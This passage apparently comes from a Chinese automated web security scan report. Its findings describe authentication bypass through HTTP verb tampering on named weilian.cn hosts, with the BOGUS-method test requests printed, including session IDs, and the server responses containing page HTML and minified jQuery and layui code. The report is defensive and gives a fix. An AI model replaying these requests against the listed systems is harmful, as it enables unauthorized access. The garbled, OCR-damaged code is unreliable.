        <div class="col-xs-3" style="padding-right: 0">
         <div class="block">
         <div class="block-title">
         <h4>资产分类树</h4>
         </div>
          <!--<div id="companylist tree" class="tree list"></div>-->
          </div>
        </div>
```

```
<!-- 左侧结束 -->
        <!-- 右侧开始 -->
        <div class="col-xs-9">
         <div class="block full">
          <!-- Table Styles Title -->
          <div class="block-title">
          <h2>资产信息</h2>
          </div>
          <!-- END Table Styles Title -->
          <div id="gcl-goodstree table">
          </div>
         </div>
        </div>
       <!-- 右侧结束 -->
    </div>
</div>
<script type="text/javascript">
    //初始化列表
    $(function () {
    //var uploadUrl="http://files.scn.weilian.cn:40899/upload";
        var tableHeight = ($(document).height() - 295) + "px";
        //表格的属性对象,用于初始化表格的设置
       //var goodsURL =goodsURL;
        goodsURL="http://test.vr.weilian.cn:40884/";
//
        var option = {
         height: tableHeight,
          search: {
               placeHolder:"捜索资产编码、资产名称"
          tools: false,
          handleCol:false, //屏蔽操作列
         url: goodsURL+"goodsRestApi/goodsList",
border:false, //去掉border
// 表格的头部,有多少列,就写多少
          columns: [{
filed: "资产编码",
          name: "goodscode"
          filed: "拼音码",
          name: "opcode"
          }, {
          filed: "资产名称",
          name: "goodsname"
          }, {
          filed: "规格",
          name: "goodsspec"
          }, {
          filed: "型号",
          name: "goodsmodel"
          }, {
          filed: "资产分类",
          name: "classname"
          filed: "产地",
          name: "prodarea"
          }, {
          filed: "状态",
          name: "status"
          }, {
          filed: "品牌",
          name: "brandname"
          filed: "财务编码",
          name: "barcode"
          filed: "上限",
          name: "stupperlimit"
          filed: "下限",
          name: "stlowerlimit"
          }, {
          filed: "大类码标记",
          name: "classcodeflag"
```

```
}, {
          filed: "登记人",
          name: "inputmanname"
          filed: "登记时间",
          name: "bookindate"
          }, {
          filed: "id",
          name: "goodsid"
          }],
          columnDefs: [{ //隐藏列,序号+
          "targets": [3,8,12,13,14,17],
"visible": false
          }, {
          render: function(data, type, row) { // 格式化 列
          return new Date(data).Format("yyyy-MM-dd hh:mm:ss");
          targets: [16]
          }, { // 渲染列 格式化
          render: function(data, type, row) { // 格式化 列
          //return "<pp keyword=PUB_BASIC_NEW_STATUS>" + data + "</pp>"
               if(data==1){
                       return "正常";
                }else if(data==2){
                       return "冻结";
                }else{
                        return "";
          }.
          targets: [9]
          { // 渲染列 格式化
          render: function(data, type, row) { // 格式化 列
          if(data==undefined || data==null){
         return ""
          }else {
. . .
```

变体-|2/2

差异: 方法 从以下位置进行控制: OPTIONS 至: BOGUS

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/goodstree.html HTTP/1.1
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Access-Control-Request-Method: GET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: */*
Access-Control-Request-Headers: sessionid
Accept-Language: en-US, en; q=0.8
HTTP/1.1 200 OK
Content-Length: 12614
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
```

```
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<style>
    #gcl-goodstree_table td {
        text-align: center;
        line-height: 28px;
    #gcl-goodstree table th {
        text-align: center;
        line-height: 28px;
</style>
<div class="newpage-con padding-10">
    <div class="row">
         <!-- 左侧开始 -->
        <div class="col-xs-3" style="padding-right: 0">
          <div class="block">
          <div class="block-title">
          <h4>资产分类树</h4>
          </div>
          <!--<div id="companylist_tree" class="tree_list"></div>-->

          </div>
        </div>
        <!-- 左侧结束 -->
        <!-- 右侧开始 -->
        <div class="col-xs-9">
          <div class="block full">
          <!-- Table Styles Title -->
          <div class="block-title">
          <h2>资产信息</h2>
          </div>
          <!-- END Table Styles Title -->
          <div id="gcl-goodstree table">
          </div>
          </div>
        </div>
        <!-- 右侧结束 -->
    </div>
</div>
<script type="text/javascript">
    //初始化列表
    //var uploadUrl="http://files.scn.weilian.cn:40899/upload";
        var tableHeight = ($(document).height() - 295) + "px";
        //表格的属性对象,用于初始化表格的设置
       //var goodsURL =goodsURL;
//
         goodsURL="http://test.vr.weilian.cn:40884/";
        var option = {
          height: tableHeight,
          search: {
                placeHolder:"捜索资产编码、资产名称"
          tools: false,
          handleCol:false, //屏蔽操作列
          url: goodsURL+"goodsRestApi/goodsList",
border:false, //去掉border
// 表格的头部,有多少列,就写多少
          columns: [{
filed: "资产编码",
          name: "goodscode"
          }, {
          filed: "拼音码",
          name: "opcode"
          filed: "资产名称",
          name: "goodsname"
          filed: "规格",
          name: "goodsspec"
          }, {
```

```
filed: "型号",
          name: "goodsmodel"
          filed: "资产分类",
          name: "classname"
          }, {
filed: "产地",
          name: "prodarea"
          filed: "状态",
          name: "status"
          }, {
          filed: "品牌",
          name: "brandname"
          }, {
          filed: "财务编码",
          name: "barcode"
          filed: "上限",
          name: "stupperlimit"
          }, {
          filed: "下限",
          name: "stlowerlimit"
          }, {
          filed: "大类码标记",
          name: "classcodeflag"
          filed: "登记人",
          name: "inputmanname"
          }, {
          filed: "登记时间",
          name: "bookindate"
          }, {
          filed: "id",
          name: "goodsid"
          }],
          columnDefs: [{ //隐藏列,序号+
          "targets": [3,8,12,13,14,17],
"visible": false
          }, {
          render: function(data, type, row) { // 格式化 列
          return new Date(data).Format("yyyy-MM-dd hh:mm:ss");
          targets: [16]
          }, { // 渲染列 格式化
          render: function(data, type, row) { // 格式化 列 //return "<pp keyword=PUB_BASIC_NEW_STATUS>" + data + "</pp>"
               if(data==1){
                        return "正常";
                return "冻结";
}else{
                        return "";
                }
          },
          targets: [9]
          { // 渲染列 格式化
          render: function(data, type, row) { // 格式化 列
          if(data==undefined || data==null) {
          r
. . .
```

问题 4 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	#
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/jquery-1.7.2.min.js
实体:	jquery-1.7.2.min.js (Page)
风险:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/orderpage/jquery-1.7.2.min.js HTTP/1.1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/57.0.2987.133 Safari/537.36
 Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
 sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
 Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
 Accept: */*
 Accept-Language: en-US, en; q=0.8
 sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 94843
 Access-Control-Allow-Headers: x-requested-with.content-type.sessionid
 Server: openrestv
 Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
 X-Hit-Server: nginx-2
 Connection: keep-alive
 Date: Fri, 12 Jan 2018 03:10:53 GMT
  /*! jQuery v1.7.2 jquery.com | jquery.org/license */
   (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?
 a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("
  <"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||
  (\texttt{ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.meBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.meBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.meBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.meBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.meBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.meBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.meBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.meBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.meBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.meBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.meBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.meBorder=ck.width=ck.meBorder=ck.width=ck.meBorder=ck.width=ck.meBorder=ck.width=ck.meBorder=ck.width=ck.meBorder=ck.width=ck.meBorder=ck.width=ck.meBorder=ck.width=ck.meBorder=ck.width=ck.meBorder=ck.width=ck.meBorder=ck.width=ck.meBorder=ck.width=ck.meBorder=ck.width=ck.width=ck.meBorder=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck.width=ck
 <!doctype html>":"") +"<html>
  <body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChi
 ld(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c=
  {};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs()
  {cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new
 a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new
 \verb|a.XMLHttpRequest| catch(b) {|} function cb(a,c) {|a.dataFilter&&(c=a.dataFilter(c,a.dataType)); variable for the context of the context o
  \\ \texttt{d=a.dataTypes,e=\{\},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g< i;g++) \{if(g===1) for(h\ information and information an
 a.converters)typeof h=="string"&&
  (e[h.toLowerCase()] = a.converters[h]); l=k, k=d[g]; if(k==="*") k=l; else if(l!=="*" \& \& l!==k) \{m=l+" k=l, k=d[g]; if(k==="*") k=l; else if(l!=="*" & \& l!==k) \{m=l+" k=d[g]; if(k==="*") k=l; else if(l!=="*" & \& l!==k) \{m=l+" k=d[g]; if(k==="*") k=l; else if(l!=="*" & \& l!==k) \{m=l+" k=d[g]; if(k==="*") k=l; else if(l!=="*" & \& l!==k) \{m=l+" k=d[g]; if(k==="*") k=l; else if(l!=="*" & \& l!==k) \{m=l+" k=d[g]; if(k==="*") k=l; else if(l!=="*" & \& l!==k) \{m=l+" k=d[g]; if(k==="*") k=l; else if(l!=="*" & \& l!==k) \{m=l+" k=d[g]; if(k==="*") k=l; else if(l!=="*" & \& l!==k) \{m=l+" k=d[g]; if(k==="*") k=l; else if(l!=="*" & \& l!==k) \{m=l+" k=d[g]; if(k=="*" & \& l!==k) \{m=l+" & \& l!==k\} \}
  "+k, n=e[m] \mid |e["*"+k]; if(!n) \{p=b; for(o in e) \{j=o.split(""); if(j[0]===1||j[0]==="*") \{p=e[j[1]+"[0]==="*"]\} \} = [in [m] |e["""+k] |e["""+k
 "+k];if(p){o=e[o],o===!0?n=p:p===!0\&\&(n=o);break}}}!n&&!p&&f.error("No conversion from "+m.replace(" "," to ")),n!==!0&&(c=n?n(c):p(o(c)))}}return c}function ca(a,c,d){var}
 e=a.contents, f=a.data Types, g=a.response Fields, h, i, j, k; for (i in g) i in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\& fields, h, i, j, k; for (i in g) in d\&\&
    (\texttt{c[g[i]]=d[i]}) \texttt{;} \texttt{while} \texttt{(f[0]==="*")} \texttt{f.shift()}, \texttt{h===b\&\&(h=a.mimeType||c.getResponseHeader("content-leader))} \texttt{(header)} \texttt{(header)
  type")); if (h) for (i in e) if (e[i] \&\&e[i]. test (h)) \\ \{f.unshift (i); break\} if (f[0] in d) \\ j=f[0]; else \{for (i, a, b, a, b
  in d) {if(!f[0]||a.converters[i+" "+f[0]]) {j=i;break}k||(k=i)}j=j||k}if(j)
 {j!==f[0]&&f.unshift(j);return d[j]}}function b (a,b,c,d){if(f.isArray(b))f.each(b,function(b,e)
  \{c \mid bD.test(a)?d(a,e):b (a+"["+(typeof e=="object"?b:"")+"]",e,c,d)\});else
 if(!c&&f.type(b) == "object") for(var e in b)b (a+"["+e+"]",b[e],c,d);else d(a,b)}function b$(a,c)
```

```
h = a[f], i = 0, j = h?h.length: 0, k = a = = bS, l; for (; i < j \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l =
 (!k||g[1]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&
  (1=bZ(a,c,d,e,"*",g));return 1}function bY(a){return function(b,c){typeof b!="string"&&
 (c=b,b="*");if(f.isFunction(c)){var
 \texttt{d=b.toLowerCase().split(b0),e=0,g=d.length,h,i,j;for(;e<g;e++)} \ \ \texttt{h=d[e],j=/^+/.test(h),j\&\& alternative for the property of the prope
 (h=h.substr(1)||"*"),i=a[h]=a[h]||[],i[j?"unshift":"push"](c)}}function bB(a,b,c){var
d=b==="width"?a.offsetWidth:a.offsetHeight,e=b==="width"?1:0,g=4;if(d>0)
 \{if(c!=="border") for(;e < g;e+=2)c||(d-=parseFloat(f.css(a,"padding"+bx[e]))||0),c==="margin"?\}
\texttt{d+=}parseFloat(\texttt{f.css(a,c+bx[e])}) \mid | \texttt{0:d-=}parseFloat(\texttt{f.css(a,"border"+bx[e]+"Width")}) \mid | \texttt{0:return} 
d+"px"}d=by(a,b); if(d<0||d==null)d=a.style[b]; if(bt.test(d))return
 d; d=parseFloat(d) \mid |0; if(c) for(;e < g; e+=2) d+=parseFloat(f.css(a, "padding"+bx[e])) \mid |0, c!=="padding" \& for(e, e) f
 &(d+=parseFloat(f.css(a, "border"+bx[e]+"Width"))||0),c==="margin"&&
 (d+=parseFloat(f.css(a,c+bx[e]))||0);return d+"px"}function bo(a){var
bn(a) {var b=(a.nodeName||"").toLowerCase();b==="input"?bm(a):b!=="script"&&typeof
{if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bl(a){return typeof
a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof
\verb|a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]| \\ \verb|function| bk(a,b)| \\ \verb|var| \\ \verb|a.querySelectorAll("*"):[]| \\ \verb|function| bk(a,b)| \\ \verb|var| \\ \verb|c.querySelectorAll("*"):[]| \\ \verb|c.querySelectorAll("*"):[]
c;b.nodeTvpe===1&&
 (b.clear Attributes \&\&b.clear Attributes (), b.merge Attributes \&\&b.merge Attributes (a), c=b.node Name.to Louisian Attributes (b.clear Attribut
werCase(), c==="object"?
b.outerHTML=a.outerHTML:c!=="input"||a.type!=="checkbox"&&a.type!=="radio"?c==="option"?
b.selected=a.defaultSelected:c==="input"||c==="textarea"?
b.defaultValue=a.defaultValue:c=="script"&&b.text!==a.text&&(b.text=a.text):(a.checked&
. . .
 . . .
```

问题 5 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	#
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/layui.js
实体:	layui.js (Page)
风险:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为仅允许所需 HTTP 方法

差异: 方法 从以下位置进行控制: GET 至: BOGUS

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"完全相同,这表明动词篡改能够绕过站点认证。

测试请求和响应:

```
BOGUS /static/orderpage/layui.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb7lb3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US,en;q=0.8
```

```
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Content-Length: 6140
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:54 GMT
/** layui-v2.2.2 MIT License By http://www.layui.com */
;!function(e){"use strict";var t=document,o={modules:{}},status:{}},timeout:10,event:
{}},n=function(){this.v="2.2.2"},r=function(){var e=t.currentScript?
 t.currentScript.src:function(){for(var e,o=t.scripts,n=o.length-1,r=n;r>0;r--
)if("interactive"===o[r].readyState){e=o[r].src;break}return e||o[n].src}();return
e.substring(0,e.lastIndexOf("/")+1)}(),i=function(t)
 {e.console&&console.error(&console.error("Layui hint: "+t)},a="undefined"!=typeof opera&&"[object
Opera] "===opera.toString(),u=
 {layer:"modules/layer",laydate:"modules/laydate",laypage:"modules/laypage",laytpl:"modules/laytpl",layim:"modules/layim",layedit:"modules/layedit",form:"modules/form",upload:"modules/upload",tre
e:"modules/tree",table:"modules/table",element:"modules/element",util:"modules/util",flow:"module
 s/flow", carousel: "modules/carousel", code: "modules/code", jquery: "modules/jquery", mobile: "modules/m
obile", "layui.all":"../layui.all"};n.prototype.cache=o,n.prototype.define=function(e,t){var
 n=this,r="function"==typeof e,i=function(){return"function"==typeof t&&t(function(e,t)
 {[ayui[e]=t,o.status[e]=!0}),this};return r&&(t=e,e=
 []),layui["layui.all"]||!layui["layui.all"]&&layui["layui.mobile"]?i.call(n):
 (n.use(e,i),n)},n.prototype.use=function(e,n,l){function s(e,t){var n="PLaySTATION
  3" === navigator.platform?/^complete \$/:/^(complete | loaded) \$/; 
 ("load"===e.type||n.test((e.currentTarget||e.srcElement).readyState)) &&
 (o.modules[f] = t, d.removeChild(v), function r() \{return + tm > 1e3*o.timeout/4?i(f + " is not a valid the property of the 
 module"):void(o.status[f]?c():setTimeout(r,4))}())}function c(){1.push(layui[f]),e.length>1?
p.use(e.slice(1),n,1): "function"==typeof n&&n.apply(layui,1)}var p=this,y=o.dir=o.dir?
 o.dir:r,d=t.getElementsByTagName("head")[0];e="string"==typeof e?
 [e]:e,window.jQuery&&jQuery.fn.on&&(p.each(e,function(t,o)
 [0],0==e.length||layui["layui.all"]&&u[f]||!layui["layui.all"]&&layui["layui.mobile"]&&u[f])retu
 \verb|rn c(),p;if(o.modules[f])!function g(){return++m>1e3*o.timeout/4?i(f+" is not a valid)|} \\
\verb|module"| : void("string" == type of o.modules[f] & & o.status[f]?c() : setTimeout(g,4)) \\| (); else \\| (varely type of o.modules) \\| (); else \\| (varely type of o.modules) \\| (); else \\| (); els
 v=t.createElement("script"), h=(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":/^{{\\}}/.test(p.modules[f])?"":o.base||"")+(u[f]?y+"lay/":u[f]?y+"lay/":u[f]?y+"lay/":u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+"u[f]?y+
 (p.modules[f]||f)+".js"; h=h.replace(/^{{\/}},""), v.async=!0, v.charset="utf-8", v.src=h+function()) \\
 {var e=o.version===!0?o.v||(new Date).qetTime():o.version||"";return e?"?v="+e:""}
 (), d.appendChild(v), !v.attachEvent||v.attachEvent.toString&&v.attachEvent.toString().indexOf("
 [native code") < 0 | | a?v.addEventListener("load", function(e)</pre>
 \{s(e,h)\}, !1\}: v.attachEvent("onreadystatechange", function(e) <math>\{s(e,h)\}), o.modules[f]=h}return
p},n.prototype.getStyle=function(t,o){var n=t.currentStyle?
  t.currentStyle:e.getComputedStyle(t,null);return
n[n.getPropertyValue?"getPropertyValue":"getAttribute"](0)},n.prototype.link=function(e,n,r){var
a=this,u=t.createElement("link"),l=t.getElementsByTagName("head")[0];"string"==typeof n&&
 (r=n); var s=(r||e).replace(/.|//g,""), c=u.id="layuicss-"+s,p=0; return"
u.rel="stylesheet",u.href=e+(o.debug?"?v="+(new
Date) .getTime():""),u.media="all",t.getElementById(c)||l.appendChild(u),"function"!=typeof n?a:
 (function y() {return++p>1e3*o.timeout/100?i(e+"
 timeout"):void(1989===parseInt(a.getStyle(t.getElementById(c),"width"))?function(){n()}
 ():setTimeout(y,100))}(),a)},n.prototype.addcss=function(e,t,n){return
 layui.link(o.dir+"css/"+e,t,n)},n.prototype.img=function(e,t,o){var n=new Image;return
\verb|n.src=e,n.complete?t(n): (n.onload=function() | (n.onload=null,t(n)), void(n.onerror=function(e))| | (n.onload=null,t(n)), void(n.onerror=function(e))| | (n.onload=null,t(n))| | (n.onload=null,t
 \{\texttt{n.onerror=null,o(e)}\}))\}, \texttt{n.prototype.config=function(e)}\\ \{\texttt{e=e} \mid \{\{\}; \texttt{for(var t in e)o[t]=e[t]}; \texttt{return onerror=null,o(e)}\}\})\}
this}, n.prototype.modules=function() {var e={}; for(var t in u)e[t]=u[t]; return e}
 (),n.prototype.extend=function(e) {var t=this;e=e||{};for(var o in e)t[o]||t.modules[o]?i("æ";åå
 "+o+" 已被å ç~"):t.modules[o]=e[o];return t},n.prototype.router=function(e){var
t = this, e = e \mid | location.hash, o = \{path: [], search: \{\}, hash: (e.match(/[^#](#.*$)/)||[])\}
 [1] \mid | "" \}; return/^#\//.test(e)?(e=e.replace(/^#\//,"").replac
. . .
 . . .
```

问题 6 / 18 Toc

使用 HTTP 动词篡改的认证旁路	
严重性:	#
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/form.js
实体:	form.js (Page)
风险:	可能会升级用户特权并通过 Web 应用程序获取管理许可权可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
